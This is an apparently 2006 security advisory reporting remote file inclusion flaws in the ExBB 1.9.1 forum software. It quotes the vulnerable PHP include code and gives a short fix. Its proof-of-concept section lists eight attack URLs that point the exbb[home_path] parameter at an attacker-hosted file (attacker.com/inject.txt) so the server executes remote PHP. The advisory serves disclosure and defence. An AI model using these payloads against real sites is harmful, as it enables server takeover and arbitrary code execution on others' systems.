ECHO.OR.ID ------------------------------------------------------------------------ ------ [ECHO_ADV_46$2006] ExBB v1.9.1 (exbb[home_path]) Multiple Remote File Inclusion ------------------------------------------------------------------------ ------ Author : Ahmad Maulana a.k.a Matdhule Date Found : August, 30th 2006 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv46-matdhule-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ExBB 1.9.1 Application : ExBB version : 1.9.1 URL : http://www.exbb.net ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~ In folder birstday we found vulnerability script birst.php ---------------------------birst.php------------------------------------ --- .... <? $birstdayconf = array(); include ($exbb['home_path'].'modules/birstday/data/birstday_conf.php'); include ($exbb['home_path'].'modules/birstday/language/'.$exbb['default_lang'].' /lang.php'); ... ---------------------------------------------------------- Input passed to the "exbb['home_path']" parameter in birst.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. Also affected files : ./select.php ./profile_show.php ../newusergreatings/pm_newreg.php ../punish/p_error.php ../punish/profile.php ../threadstop/threadstop.php ../userstop/userstop.php Proof Of Concept: ~~~~~~~~~~~~~~~ http://target.com/[exbb_path]/modules/birstday/birst.php?exbb[home_path] =http://attacker.com/inject.txt? http://target.com/[exbb_path]/modules/birstday/select.php?exbb[home_path ]=http://attacker.com/inject.txt? http://target.com/[exbb_path]/modules/birstday/profile_show.php?exbb[hom e_path]=http://attacker.com/inject.txt? http://target.com/[exbb_path]/modules/newusergreatings/pm_newreg.php?exb b[home_path]=http://attacker.com/inject.txt? http://target.com/[exbb_path]/modules/punish/p_error.php?exbb[home_path] =http://attacker.com/inject.txt? http://target.com/[exbb_path]/modules/punish/profile.php?exbb[home_path] =http://attacker.com/inject.txt? http://target.com/[exbb_path]/modules/threadstop/threadstop.php?exbb[hom e_path]=http://attacker.com/inject.txt? http://target.com/[exbb_path]/modules/userstop/userstop.php?exbb[home_pa th]=http://attacker.com/inject.txt? Solution: ~~~~~~~ - Sanitize variable $exbb['home_path'] on affected files. ------------------------------------------------------------------------ --- Shoutz: ~~~ ~ solpot a.k.a chris, J4mbi H4ck3r thx for the hacking lesson :) ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous ~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama, BlueSpy, str0ke ~ newbie_hacker (at) yahoogroups (dot) com [email concealed], jasakom_perjuangan (at) yahoogroups (dot) com [email concealed] ~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~ matdhule[at]gmail[dot]com -------------------------------- [ EOF ]----------------------------------